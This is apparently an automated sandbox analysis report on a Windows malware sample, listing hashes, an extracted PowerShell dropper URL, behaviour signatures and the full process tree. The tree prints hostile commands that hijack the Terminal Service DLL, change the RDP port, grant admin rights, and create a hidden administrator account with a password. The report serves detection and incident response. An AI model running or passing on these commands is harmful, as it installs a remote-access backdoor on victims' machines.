Analysis
-
max time kernel
114s -
max time network
116s -
platform
windows10_x64 -
resource
win10v20210410 -
submitted
13-06-2021 11:46
Static task
static1
Behavioral task
behavioral1
Sample
63c81bd2299db58959013ff55b6f3698.exe
Resource
win7v20210408
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
63c81bd2299db58959013ff55b6f3698.exe
Resource
win10v20210410
windows10_x64
0 signatures
0 seconds
General
-
Target
63c81bd2299db58959013ff55b6f3698.exe
-
Size
7.0MB
-
MD5
63c81bd2299db58959013ff55b6f3698
-
SHA1
ca9b8ed3f8d10d1e01411eb66e80549039e7591d
-
SHA256
3c41569f2ba7a3e123f2156e541c52fc924897a49a34139b87d5a1b93fb1f94d
-
SHA512
26af4f5aee0a015ac011eae176fcd65d9686ec60bcfaa05fb98d5e9078e2cd2d5f3b36cdcfe199def58140736d388205f19a50e0a1b50fc5d5c2f0aa951778cb
Score
10/10
Malware Config
Extracted
Language
ps1
Deobfuscated
URLs
ps1.dropper
https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1
Signatures
-
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
-
Blocklisted process makes network request 9 IoCs
flow pid Process 17 1868 powershell.exe 19 1868 powershell.exe 20 1868 powershell.exe 21 1868 powershell.exe 23 1868 powershell.exe 25 1868 powershell.exe 27 1868 powershell.exe 29 1868 powershell.exe 31 1868 powershell.exe -
Executes dropped EXE 3 IoCs
pid Process 5024 Lume.exe.com 5116 Lume.exe.com 3424 Lume.exe.com -
Modifies RDP port number used by Windows 1 TTPs
-
Sets DLL path for service in the registry 2 TTPs
-
resource yara_rule behavioral2/files/0x000700000001ab3d-240.dat upx behavioral2/files/0x000a00000001ab41-241.dat upx -
Deletes itself 1 IoCs
pid Process 4240 powershell.exe -
Loads dropped DLL 2 IoCs
pid Process 4548 Process not Found 4548 Process not Found -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 5116 set thread context of 3424 5116 Lume.exe.com 86 -
Drops file in Program Files directory 4 IoCs
description ioc Process File opened for modification C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT powershell.exe File opened for modification C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI powershell.exe File opened for modification C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT powershell.exe File opened for modification C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI powershell.exe -
Drops file in Windows directory 19 IoCs
description ioc Process File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI63DC.tmp powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI642C.tmp powershell.exe File created C:\Windows\branding\mediasrv.png powershell.exe File created C:\Windows\branding\wupsvc.jpg powershell.exe File opened for modification C:\Windows\branding\Basebrd powershell.exe File opened for modification C:\Windows\branding\mediasrv.png powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_stvugbx5.tzc.ps1 powershell.exe File opened for modification C:\Windows\branding\mediasvc.png powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI63FC.tmp powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\branding\ShellBrd powershell.exe File created C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI63BC.tmp powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI643D.tmp powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\INetCache\counters2.dat powershell.exe File created C:\Windows\branding\mediasvc.png powershell.exe File opened for modification C:\Windows\branding\wupsvc.jpg powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_uvyxpn0r.foq.psm1 powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\ powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\1200 = "3" powershell.exe Set value (data) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZonesSecurityUpgrade = 339704ea112ed701 powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\LowIcon = "inetcpl.cpl#005422" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2 powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\2500 = "3" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\ powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\windows\CurrentVersion\Internet Settings\Connections powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\Description = "This zone contains Web sites that you trust not to damage your computer or data." powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\ powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "0" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\Flags = "71" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\EnableNegotiate = "1" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\Flags = "219" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\CurrentLevel = "0" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1200 = "0" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\CurrentLevel = "0" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\CurrentLevel = "73728" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\1200 = "3" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\Icon = "shell32.dll#0018" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\1200 = "3" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\1400 = "0" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\SelfHealCount = "1" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\1400 = "1" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\Flags = "33" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\ powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\PMDisplayName = "Local intranet [Protected Mode]" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\16\52C64B7E powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\CurrentLevel = "69632" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\Description = "This zone contains Web sites that could potentially damage your computer or data." powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\DisplayName = "My Computer" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\1200 = "3" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\shell = "0" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\Description = "Your computer" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\CurrentLevel = "0" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\LowIcon = "inetcpl.cpl#005425" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\1400 = "1" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Icon = "inetcpl.cpl#001313" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\LowIcon = "inetcpl.cpl#005426" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\LowIcon = "inetcpl.cpl#005422" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4 powershell.exe -
Modifies registry key 1 TTPs 1 IoCs
pid Process 3932 reg.exe -
Runs net.exe
-
Runs ping.exe 1 TTPs 1 IoCs
pid Process 5096 PING.EXE -
Script User-Agent 4 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 19 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 20 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 21 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 23 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 18 IoCs
pid Process 4240 powershell.exe 4240 powershell.exe 4240 powershell.exe 1588 powershell.exe 1588 powershell.exe 1588 powershell.exe 192 powershell.exe 192 powershell.exe 192 powershell.exe 4356 powershell.exe 4356 powershell.exe 4356 powershell.exe 4240 powershell.exe 4240 powershell.exe 4240 powershell.exe 1868 powershell.exe 1868 powershell.exe 1868 powershell.exe -
Suspicious behavior: LoadsDriver 2 IoCs
pid Process 628 Process not Found 628 Process not Found -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4240 powershell.exe Token: SeDebugPrivilege 1588 powershell.exe Token: SeIncreaseQuotaPrivilege 1588 powershell.exe Token: SeSecurityPrivilege 1588 powershell.exe Token: SeTakeOwnershipPrivilege 1588 powershell.exe Token: SeLoadDriverPrivilege 1588 powershell.exe Token: SeSystemProfilePrivilege 1588 powershell.exe Token: SeSystemtimePrivilege 1588 powershell.exe Token: SeProfSingleProcessPrivilege 1588 powershell.exe Token: SeIncBasePriorityPrivilege 1588 powershell.exe Token: SeCreatePagefilePrivilege 1588 powershell.exe Token: SeBackupPrivilege 1588 powershell.exe Token: SeRestorePrivilege 1588 powershell.exe Token: SeShutdownPrivilege 1588 powershell.exe Token: SeDebugPrivilege 1588 powershell.exe Token: SeSystemEnvironmentPrivilege 1588 powershell.exe Token: SeRemoteShutdownPrivilege 1588 powershell.exe Token: SeUndockPrivilege 1588 powershell.exe Token: SeManageVolumePrivilege 1588 powershell.exe Token: 33 1588 powershell.exe Token: 34 1588 powershell.exe Token: 35 1588 powershell.exe Token: 36 1588 powershell.exe Token: SeDebugPrivilege 192 powershell.exe Token: SeIncreaseQuotaPrivilege 192 powershell.exe Token: SeSecurityPrivilege 192 powershell.exe Token: SeTakeOwnershipPrivilege 192 powershell.exe Token: SeLoadDriverPrivilege 192 powershell.exe Token: SeSystemProfilePrivilege 192 powershell.exe Token: SeSystemtimePrivilege 192 powershell.exe Token: SeProfSingleProcessPrivilege 192 powershell.exe Token: SeIncBasePriorityPrivilege 192 powershell.exe Token: SeCreatePagefilePrivilege 192 powershell.exe Token: SeBackupPrivilege 192 powershell.exe Token: SeRestorePrivilege 192 powershell.exe Token: SeShutdownPrivilege 192 powershell.exe Token: SeDebugPrivilege 192 powershell.exe Token: SeSystemEnvironmentPrivilege 192 powershell.exe Token: SeRemoteShutdownPrivilege 192 powershell.exe Token: SeUndockPrivilege 192 powershell.exe Token: SeManageVolumePrivilege 192 powershell.exe Token: 33 192 powershell.exe Token: 34 192 powershell.exe Token: 35 192 powershell.exe Token: 36 192 powershell.exe Token: SeDebugPrivilege 4356 powershell.exe Token: SeIncreaseQuotaPrivilege 4356 powershell.exe Token: SeSecurityPrivilege 4356 powershell.exe Token: SeTakeOwnershipPrivilege 4356 powershell.exe Token: SeLoadDriverPrivilege 4356 powershell.exe Token: SeSystemProfilePrivilege 4356 powershell.exe Token: SeSystemtimePrivilege 4356 powershell.exe Token: SeProfSingleProcessPrivilege 4356 powershell.exe Token: SeIncBasePriorityPrivilege 4356 powershell.exe Token: SeCreatePagefilePrivilege 4356 powershell.exe Token: SeBackupPrivilege 4356 powershell.exe Token: SeRestorePrivilege 4356 powershell.exe Token: SeShutdownPrivilege 4356 powershell.exe Token: SeDebugPrivilege 4356 powershell.exe Token: SeSystemEnvironmentPrivilege 4356 powershell.exe Token: SeRemoteShutdownPrivilege 4356 powershell.exe Token: SeUndockPrivilege 4356 powershell.exe Token: SeManageVolumePrivilege 4356 powershell.exe Token: 33 4356 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4440 wrote to memory of 4928 4440 63c81bd2299db58959013ff55b6f3698.exe 75 PID 4440 wrote to memory of 4928 4440 63c81bd2299db58959013ff55b6f3698.exe 75 PID 4440 wrote to memory of 4928 4440 63c81bd2299db58959013ff55b6f3698.exe 75 PID 4928 wrote to memory of 4976 4928 cmd.exe 77 PID 4928 wrote to memory of 4976 4928 cmd.exe 77 PID 4928 wrote to memory of 4976 4928 cmd.exe 77 PID 4976 wrote to memory of 4992 4976 cmd.exe 78 PID 4976 wrote to memory of 4992 4976 cmd.exe 78 PID 4976 wrote to memory of 4992 4976 cmd.exe 78 PID 4976 wrote to memory of 5024 4976 cmd.exe 80 PID 4976 wrote to memory of 5024 4976 cmd.exe 80 PID 4976 wrote to memory of 5096 4976 cmd.exe 81 PID 4976 wrote to memory of 5096 4976 cmd.exe 81 PID 4976 wrote to memory of 5096 4976 cmd.exe 81 PID 5024 wrote to memory of 5116 5024 Lume.exe.com 82 PID 5024 wrote to memory of 5116 5024 Lume.exe.com 82 PID 5116 wrote to memory of 3424 5116 Lume.exe.com 86 PID 5116 wrote to memory of 3424 5116 Lume.exe.com 86 PID 5116 wrote to memory of 3424 5116 Lume.exe.com 86 PID 5116 wrote to memory of 3424 5116 Lume.exe.com 86 PID 3424 wrote to memory of 4240 3424 Lume.exe.com 87 PID 3424 wrote to memory of 4240 3424 Lume.exe.com 87 PID 4240 wrote to memory of 624 4240 powershell.exe 89 PID 4240 wrote to memory of 624 4240 powershell.exe 89 PID 624 wrote to memory of 1064 624 csc.exe 90 PID 624 wrote to memory of 1064 624 csc.exe 90 PID 4240 wrote to memory of 1588 4240 powershell.exe 91 PID 4240 wrote to memory of 1588 4240 powershell.exe 91 PID 4240 wrote to memory of 192 4240 powershell.exe 94 PID 4240 wrote to memory of 192 4240 powershell.exe 94 PID 4240 wrote to memory of 4356 4240 powershell.exe 96 PID 4240 wrote to memory of 4356 4240 powershell.exe 96 PID 4240 wrote to memory of 3928 4240 powershell.exe 99 PID 4240 wrote to memory of 3928 4240 powershell.exe 99 PID 4240 wrote to memory of 3932 4240 powershell.exe 100 PID 4240 wrote to memory of 3932 4240 powershell.exe 100 PID 4240 wrote to memory of 4944 4240 powershell.exe 101 PID 4240 wrote to memory of 4944 4240 powershell.exe 101 PID 4240 wrote to memory of 5032 4240 powershell.exe 102 PID 4240 wrote to memory of 5032 4240 powershell.exe 102 PID 5032 wrote to memory of 5016 5032 net.exe 103 PID 5032 wrote to memory of 5016 5032 net.exe 103 PID 4240 wrote to memory of 4624 4240 powershell.exe 104 PID 4240 wrote to memory of 4624 4240 powershell.exe 104 PID 4624 wrote to memory of 5056 4624 cmd.exe 105 PID 4624 wrote to memory of 5056 4624 cmd.exe 105 PID 5056 wrote to memory of 3956 5056 cmd.exe 106 PID 5056 wrote to memory of 3956 5056 cmd.exe 106 PID 3956 wrote to memory of 1936 3956 net.exe 107 PID 3956 wrote to memory of 1936 3956 net.exe 107 PID 4240 wrote to memory of 5040 4240 powershell.exe 108 PID 4240 wrote to memory of 5040 4240 powershell.exe 108 PID 5040 wrote to memory of 5108 5040 cmd.exe 109 PID 5040 wrote to memory of 5108 5040 cmd.exe 109 PID 5108 wrote to memory of 4064 5108 cmd.exe 110 PID 5108 wrote to memory of 4064 5108 cmd.exe 110 PID 4064 wrote to memory of 4512 4064 net.exe 111 PID 4064 wrote to memory of 4512 4064 net.exe 111 PID 4124 wrote to memory of 4524 4124 cmd.exe 115 PID 4124 wrote to memory of 4524 4124 cmd.exe 115 PID 4524 wrote to memory of 4552 4524 net.exe 116 PID 4524 wrote to memory of 4552 4524 net.exe 116 PID 2228 wrote to memory of 2208 2228 cmd.exe 119 PID 2228 wrote to memory of 2208 2228 cmd.exe 119
Processes
-
C:\Users\Admin\AppData\Local\Temp\63c81bd2299db58959013ff55b6f3698.exe"C:\Users\Admin\AppData\Local\Temp\63c81bd2299db58959013ff55b6f3698.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:4440 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c cmd < Una.sldm2⤵
- Suspicious use of WriteProcessMemory
PID:4928 -
C:\Windows\SysWOW64\cmd.execmd3⤵
- Suspicious use of WriteProcessMemory
PID:4976 -
C:\Windows\SysWOW64\findstr.exefindstr /V /R "^fkQjFsrSXyNvteGyMPSxkkZVHfjznZdJHKQAjJSNwkJAiEkjVdHhQkvrkUFdtJzYPtPxjySeXtaZCmOerqnoseTvgMfstBJsRLLrPRqPbFfLSvBMuChtkkGMlzum$" Dal.sldm4⤵PID:4992
-
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Lume.exe.comLume.exe.com j4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:5024 -
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Lume.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Lume.exe.com j5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:5116 -
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Lume.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Lume.exe.com6⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3424 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'7⤵
- Deletes itself
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4240 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\5i1ciein\5i1ciein.cmdline"8⤵
- Suspicious use of WriteProcessMemory
PID:624 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2E06.tmp" "c:\Users\Admin\AppData\Local\Temp\5i1ciein\CSC8DC5E7925414B3AAE6F4B1FD785D9.TMP"9⤵PID:1064
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile8⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1588
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile8⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:192
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile8⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4356
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f8⤵PID:3928
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f8⤵
- Modifies registry key
PID:3932
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f8⤵PID:4944
-
-
C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add8⤵
- Suspicious use of WriteProcessMemory
PID:5032 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add9⤵PID:5016
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr8⤵
- Suspicious use of WriteProcessMemory
PID:4624 -
C:\Windows\system32\cmd.execmd /c net start rdpdr9⤵
- Suspicious use of WriteProcessMemory
PID:5056 -
C:\Windows\system32\net.exenet start rdpdr10⤵
- Suspicious use of WriteProcessMemory
PID:3956 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start rdpdr11⤵PID:1936
-
-
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start TermService8⤵
- Suspicious use of WriteProcessMemory
PID:5040 -
C:\Windows\system32\cmd.execmd /c net start TermService9⤵
- Suspicious use of WriteProcessMemory
PID:5108 -
C:\Windows\system32\net.exenet start TermService10⤵
- Suspicious use of WriteProcessMemory
PID:4064 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start TermService11⤵PID:4512
-
-
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f8⤵PID:1916
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f8⤵PID:4304
-
-
-
-
-
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 304⤵
- Runs ping.exe
PID:5096
-
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe user wgautilacc Ghar4f5 /del1⤵
- Suspicious use of WriteProcessMemory
PID:4124 -
C:\Windows\system32\net.exenet.exe user wgautilacc Ghar4f5 /del2⤵
- Suspicious use of WriteProcessMemory
PID:4524 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user wgautilacc Ghar4f5 /del3⤵PID:4552
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe user wgautilacc 2gya7bAo /add1⤵
- Suspicious use of WriteProcessMemory
PID:2228 -
C:\Windows\system32\net.exenet.exe user wgautilacc 2gya7bAo /add2⤵PID:2208
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user wgautilacc 2gya7bAo /add3⤵PID:3816
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD1⤵PID:4100
-
C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD2⤵PID:3300
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD3⤵PID:4988
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD1⤵PID:4932
-
C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD2⤵PID:4444
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD3⤵PID:3116
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD1⤵PID:1456
-
C:\Windows\system32\net.exenet.exe LOCALGROUP "Administrators" wgautilacc /ADD2⤵PID:4480
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD3⤵PID:4580
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe user wgautilacc 2gya7bAo1⤵PID:4672
-
C:\Windows\system32\net.exenet.exe user wgautilacc 2gya7bAo2⤵PID:3212
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user wgautilacc 2gya7bAo3⤵PID:4144
-
-
-
C:\Windows\System32\cmd.execmd.exe /C wmic path win32_VideoController get name1⤵PID:4248
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name2⤵
- Modifies data under HKEY_USERS
PID:904
-
-
